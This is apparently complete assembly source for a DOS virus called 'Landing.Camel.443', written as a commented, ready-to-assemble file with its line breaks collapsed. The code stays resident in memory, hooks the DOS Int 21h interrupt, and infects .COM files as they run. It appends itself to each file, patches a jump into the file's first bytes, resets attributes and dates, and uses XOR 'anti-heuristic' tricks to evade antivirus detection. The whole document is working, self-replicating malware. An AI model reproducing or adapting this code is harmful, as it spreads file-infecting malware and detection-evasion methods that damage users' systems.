;==================================================;| ; LANDING.CAMEL.3.443 ;| ;==================================================;| ; TSR..................... Yes ;| ; Appending Virus......... Yes ;| ; COM infector............ Yes ;| ; Windows95 COM infector.. Yes ;| ; Reset Attributes........ Yes ;| ; Reset Time/Date......... Yes ;| ;==================================================;| ;| .MODEL TINY ;| .CODE ;| ;| ORG 0H ;|No worries about delta offset ;| ;**************************************************;| ; This is where the virus starts ;| ;**************************************************;| ;| ;==================================================;| VIRUS_START: ;| ;==================================================;| ;| CALL FIND_OFFSET ;|Calculate the delta offset ;| ;**************************************************;| ; Calculate the Delta Offset ;| ;**************************************************;| ;| ;==================================================;| FIND_OFFSET: ;| ;==================================================;| ;| POP BP ;| SUB BP,OFFSET FIND_OFFSET ;|BP now contains the delta offset ;| ;**************************************************;| ; Installation Check ;| ;**************************************************;| ;| MOV AH,2CH ;|DOS Function-Get system time INT 21H ;|Call interrupt ;| MOV BL,DL ;|BL=a number from 0-100 MOV AH,0BH ;|DOS Function INT 21H ;|Call interrupt ;| CMP AH,00H ;|AH=0? JNE START_INSTALL ;|No! Install the virus ADD BX,BP ;| CMP AL,CS:[BX] ;|Do the bytes match? JE FINISHED_INSTALL ;|Already installed! ;| ;==================================================;| START_INSTALL: ;| ;==================================================;| ;| ;**************************************************;| ; Begin installing the virus into memory ;| ;**************************************************;| ;| PUSH DS ;|Save original DS PUSH ES ;|Save original ES ;| ;**************************************************;| ; Get maximum available memory ;| ;**************************************************;| ;| MOV AH,4AH XOR 66H ;|DOS Function-Allocate memory XOR AH,66H ;|Anti-heuristic MOV BX,0FFFFH ;|A Really big number INT 21H ;|Call interrupt ;| ;**************************************************;| ; Subtract the required memory from the total;| ;**************************************************;| ;| SUB BX,(VIRUS_LENGTH+15)/16+1 ;| ;| ;**************************************************;| ; Shrink the block ;| ;**************************************************;| ;| MOV AX,4A00H XOR 6600H ;|Anti-heuristic XOR AX,6600H ;|Anti-heuristic INT 21H ;| ;| ;**************************************************;| ; Allocate memory ;| ;**************************************************;| ;| MOV AX,4800H XOR 6400H ;|Anti-heuristic XOR AX,6400H ;|Anti-heuristic MOV BX,(VIRUS_LENGTH+15)/16 ;| INT 21H ;| ;| ;**************************************************;| ; Point ES to the new MCB ;| ;**************************************************;| ;| MOV ES,AX ;|ES=PSP DEC AX ;|AX=MCB MOV DS,AX ;|DS=AX=MCB ;| ;**************************************************;| ; Change attributes of memory block ;| ;**************************************************;| ;| MOV BYTE PTR DS:[0],'Z' ;|Mark the end of the block MOV WORD PTR DS:[1],8 ;|Identify as a DOS program ;| PUSH CS ;|CS=Code Segment POP DS ;|DS=CS ;| ;**************************************************;| ; Copy the virus into the allocated memory ;| ;**************************************************;| ;| XOR DI,DI ;|DI=0 MOV CX,(VIRUS_LENGTH+1)/2 ;|Number of bytes to copy LEA SI,BP ;|Start at the beginning REP MOVSW ;|Move DS:[SI] to ES:[DI] ;| ;**************************************************;| ; Get the vector for the original Int 21h ;| ;**************************************************;| ;| MOV DS,CX ;|CX=0 DS=CX The Interrupt Table ;| MOV AX,WORD PTR DS:[21H*4] ;|Load the offset into AX MOV WORD PTR ES:OLD_INT21H,AX ;|Save the offset MOV AX,WORD PTR DS:[21H*4+2] ;|Load the segment into AX MOV WORD PTR ES:OLD_INT21H+2,AX ;|Save the segment ;| ;**************************************************;| ; Put in a new vector for Int 21h ;| ;**************************************************;| ;| PUSH ES ;|Save ES POP DS ;|ES=DS=Segment of virus in memory ;| MOV AX,2125H XOR 0D25H ;|DOS Function-Set Interrupt Vector XOR AX,0D25H ;|Anti-heuristic XCHG AH,AL ;|Anti-heuristic LEA DX,NEW_INT21H ;|Point to our procedure INT 21H ;|Call interrupt ;| ;**************************************************;| ; Finished installing into memory ;| ;**************************************************;| ;| POP ES ;|Restore original ES POP DS ;|Restore original DS ;| ;==================================================;| FINISHED_INSTALL: ;| ;==================================================;| ;| ;**************************************************;| ; Restore the original 3 bytes of the file ;| ;**************************************************;| ;| LEA DI,[BP+OLD_BYTES] ;|Restore 3 bytes into memory MOV SI,100H ;|Anti-heuristic XCHG SI,DI ;|Anti-heuristic PUSH DI ;|Save 100H for the return MOVSW ;|Move word into memory MOVSB ;|Move byte into memory ;| ;**************************************************;| ; Clear registers ;| ;**************************************************;| ;| XOR AX,AX ;| XOR BX,BX ;| XOR CX,CX ;| XOR DX,DX ;| XOR BP,BP ;| XOR SI,SI ;| XOR DI,DI ;| ;| ;**************************************************;| ; Restore control to the host file ;| ;**************************************************;| ;| RET ;| ;| MSG DB 'Landing.Camel.443',0 ;|Virus name and author ;| ;==================================================;| INT21H: ;| ;==================================================;| ;| PUSHF ;|Save Flags CALL DWORD PTR CS:[OLD_INT21H] ;|Call Interrupt 21h RET ;|Return ;| ;==================================================;| NEW_INT21H: ;| ;==================================================;| ;| CMP AH,0BH ;| JE INSTALLATION_CHECK ;| ;| ;**************************************************;| ; Save all registers ;| ;**************************************************;| ;| PUSHF ;|Save flags PUSH AX ;|Save registers PUSH BX ;|Save registers PUSH CX ;|Save registers PUSH DX ;|Save registers PUSH DI ;|Save registers PUSH DS ;|Save registers PUSH ES ;|Save registers ;| ;**************************************************;| ; Check for execute call ;| ;**************************************************;| ;| XCHG AH,AL ;| CMP AX,004BH ;| XCHG AH,AL ;| JE INFECT_FILE ;| ;| ;==================================================;| QUIT: ;| ;==================================================;| ;| POP ES ;| POP DS ;| POP DI ;| POP DX ;| POP CX ;| POP BX ;| POP AX ;| POPF ;| ;| ;**************************************************;| ; Call the interrupt vector for Int 21h ;| ;**************************************************;| ;| DB 0EAH ;|Jump far instruction OLD_INT21H DD ? ;|Original Int 21h address ;| ;==================================================;| INSTALLATION_CHECK: ;| ;==================================================;| ;| XOR AX,AX ;| MOV AL,CS:[BX] ;| IRET ;| ;| ;==================================================;| INFECT_FILE: ;| ;==================================================;| ;| ;**************************************************;| ; Check the extension to ensure it is a COM ;| ;**************************************************;| ;| MOV SI,DX ;|Load filename from DS:[DX] into DS:[SI] ;| ;==================================================;| CHECK_EXTENSION: ;|Loop to test extension ;==================================================;| ;| LODSB ;|Load a byte into AL from DS:[SI] OR AL,AL ;|Are we at the eof? JE QUIT ;|Yes! No extension! CMP AL,"." ;|Is it a point? JNE CHECK_EXTENSION ;|No! Test the next letter LODSW ;|Load a word into AX from DS:[SI] CMP AX,"OC" ;|Are the first two letters OC? JNE QUIT ;|No! Quit LODSB ;|Load a byte into AL from DS:[SI] CMP AL,"M" ;|Is the last letter M? JNE QUIT ;|No! Quit ;| ;**************************************************;| ; Get file attributes ;| ;**************************************************;| ;| MOV CX,4300H ;|DOS function=Get File Attribute XOR AX,AX ;| XCHG AX,CX ;| CALL INT21H ;| PUSH CX ;|Save file attribute ;| ;**************************************************;| ; Reset attributes to archive ;| ;**************************************************;| ;| MOV CX,4301H ;|DOS function=Set File Attribute PUSH CX ;| XOR AX,AX ;|CX=0 so file attribute is normal file XCHG AX,CX ;| CALL INT21H ;| ;| ;**************************************************;| ; Open file for reading and writing and xchg ;| ;**************************************************;| ;| MOV AX,3D02H ;|DOS function=Open a File (Read and Write) CALL INT21H ;|DX holds the name of the file ;| JC RESTORE_ATTRIBUTES ;|Error opening file! ;| XCHG BX,AX ;|Exchange handle ;| ;**************************************************;| ; Get time and date ;| ;**************************************************;| ;| MOV AX,5700H ;|DOS function=Get File Time/Date CALL INT21H ;| ;| PUSH CX ;|Save Time PUSH DX ;|Save Date ;| ;**************************************************;| ; Change the segment ;| ;**************************************************;| ;| PUSH CS ;|Change the segment to ours POP DS ;|rather than the infectee ;| PUSH CS ;|Change the segment to ours POP ES ;|rather than the infectee ;| ;**************************************************;| ; Read the first three bytes of the file ;| ;**************************************************;| ;| MOV AH,3FH ;|DOS function=Read from File LEA DX,OLD_BYTES ;|Save them into jmpbuf MOV CX,3 ;|Read 3 bytes CALL INT21H ;| ;| ;**************************************************;| ; Check if file is really a .EXE ;| ;**************************************************;| ;| CMP BYTE PTR OLD_BYTES,'Z' ;| JZ CLOSE_FILE ;|File is really a .EXE ;| CMP BYTE PTR OLD_BYTES,'M' ;| JZ CLOSE_FILE ;|File is really a .EXE ;| ;**************************************************;| ; Goto end of the file and read in 7 bytes ;| ;**************************************************;| ;| MOV AX,4202H ;|Seek to EOF - 7 MOV DX,-7 ;| MOV CX,-1 ;| INT 21H ;| ;| MOV AH,3FH ;| LEA DX,EOF_BUF ;|Read in 7 bytes MOV CX,7 ;| INT 21H ;| ;| ;**************************************************;| ; Add the virus size to the last 2 bytes ;| ;**************************************************;| ;| ADD WORD PTR [EOF_BUF+5],VIRUS_LENGTH ;| ;| ;**************************************************;| ; Goto the end of the file ;| ;**************************************************;| ;| MOV AX,4202H ;|DOS function=Set File Pointer XOR CX,CX ;|Go to end of file (EOF) CWD ;|Same as XOR DX,DX CALL INT21H ;| ;| ;**************************************************;| ; Check file for previous infection ;| ;**************************************************;| ;| MOV CX,WORD PTR [OLD_BYTES+1] ;|CX=Offset of jump ADD CX,VIRUS_LENGTH+3 ;| CMP CX,AX ;|Compare the 2 values ;| JE CLOSE_FILE ;|Already infected! ;| ;**************************************************;| ; Check file size ;| ;**************************************************;| ;| CMP AX,64511 ;|File=64511? JNA WRITE_VIRUS ;|File isn't too large ;| ;==================================================;| CLOSE_FILE: ;| ;==================================================;| ;| ;**************************************************;| ; Close the file ;| ;**************************************************;| ;| MOV AH,3EH ;|Close file function CALL INT21H ;|Calling interrupt ;| ;**************************************************;| ; Restore original time and date ;| ;**************************************************;| ;| MOV AX,5700H ;|DOS function=Get File Time/Date POP CX ;|CX=original time value POP DX ;|DX=original date value ADD AX,1 ;|DOS function=Set File Time/Date CALL INT21H ;| ;| ;==================================================;| RESTORE_ATTRIBUTES: ;| ;==================================================;| ;| ;**************************************************;| ; Load original file attributes ;| ;**************************************************;| ;| POP AX ;|Restore attribute POP CX ;|Restore attribute ;| CALL INT21H ;| ;| JMP QUIT ;| ;| ;==================================================;| WRITE_VIRUS: ;| ;==================================================;| ;| ;**************************************************;| ; Prepare the jump ;| ;**************************************************;| ;| MOV BYTE PTR NEW_BYTES,0E9H ;|JMP code SUB AX,3 ;|AX=Filesize-3 (size of JMP) MOV WORD PTR [NEW_BYTES+1],AX ;|Offset of JMP ;| ;**************************************************;| ; Copy the virus the the end of the file ;| ;**************************************************;| ;| LEA DX,VIRUS_START ;| MOV AX,VIRUS_LENGTH ;| MOV CX,4000H ;| XCHG AX,CX ;| CALL INT21H ;| ;| ;**************************************************;| ; Goto the beginning of the file ;| ;**************************************************;| ;| MOV AX,4200H ;|DOS function=Set File Pointer XOR CX,CX ;|Go to beginning of file (BOF) CWD ;|Same as XOR DX,DX CALL INT21H ;| ;| ;**************************************************;| ; Write our jump ;| ;**************************************************;| ;| MOV AX,03H ;|DOS function=Write to File MOV CX,4000H ;|Write 3 bytes to beginning of file LEA DX,NEW_BYTES ;|From NEW_BYTES XCHG AX,CX ;| CALL INT21H ;| ;| JMP CLOSE_FILE ;| ;| ;**************************************************;| ; Data entries ;| ;**************************************************;| ;| OLD_BYTES DB 0CDH,20H,0 ;|INT 20H NEW_BYTES DB 3 DUP (?) ;|3 bytes buffer. Used for checking ;|if the file was already infected. EOF_BUF DB 7 DUP (?) ;|Buffer at EOF ;| ;==================================================;| VIRUS_END: ;| ;==================================================;| ;| ;**************************************************;| ; The heap data entries ;| ;**************************************************;| VIRUS_LENGTH EQU OFFSET VIRUS_END - OFFSET VIRUS_START END VIRUS_START